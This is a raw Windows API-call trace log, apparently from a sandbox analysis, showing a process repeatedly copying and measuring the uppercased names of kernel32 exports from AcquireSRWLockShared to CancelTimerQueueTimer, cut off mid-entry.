[0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0103.072] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0103.072] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0103.072] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0103.072] lstrlenA (lpString="ADDATOMA") returned 8 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0103.072] lstrlenA (lpString="ADDATOMW") returned 8 [0103.072] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0103.072] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0103.073] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0103.073] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0103.073] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0103.073] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0103.073] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0103.073] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0103.073] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0103.073] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0103.073] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0103.073] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0103.073] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0103.073] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0103.073] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0103.073] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0103.073] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0103.073] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0103.073] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0103.074] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0103.074] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0103.074] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0103.074] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0103.074] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0103.074] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0103.074] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0103.074] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0103.074] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0103.074] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0103.074] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0103.074] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0103.074] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0103.074] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0103.074] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0103.074] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0103.074] lstrlenA (lpString="BACKUPREAD") returned 10 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0103.075] lstrlenA (lpString="BACKUPSEEK") returned 10 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0103.075] lstrlenA (lpString="BACKUPWRITE") returned 11 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0103.075] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0103.075] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0103.075] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0103.075] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0103.075] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0103.075] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0103.075] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0103.075] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0103.075] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0103.075] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0103.075] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0103.075] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0103.075] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0103.075] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0103.075] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0103.076] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0103.076] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0103.076] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0103.076] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0103.076] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0103.076] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0103.076] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0103.076] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0103.076] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0103.076] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0103.076] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0103.076] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0103.076] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0103.076] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0103.076] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0103.076] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0103.076] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0103.077] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0103.077] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0103.077] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0103.077] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0103.077] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0103.077] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0103.077] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0103.077] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0103.077] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0103.077] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0103.077] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0103.077] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0103.077] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0103.077] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0103.077] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0103.077] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0103.078] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0103.078] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0103.078] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0103.078] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0103.078] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0103.078] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0103.078] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0103.078] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0103.078] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0103.078] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0103.078] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0103.078] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0103.078] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0103.078] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0103.078] lstrlenA (lpString="BEEP") returned 4 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0103.078] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0103.078] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0103.079] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0103.079] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0103.079] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0103.079] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0103.079] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0103.079] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0103.079] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0103.079] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0103.079] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0103.079] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0103.079] lstrlenA (lpString="CANCELIO") returned 8 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0103.079] lstrlenA (lpString="CANCELIOEX") returned 10 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0103.079] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0103.079] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0103.079] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0103.079] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 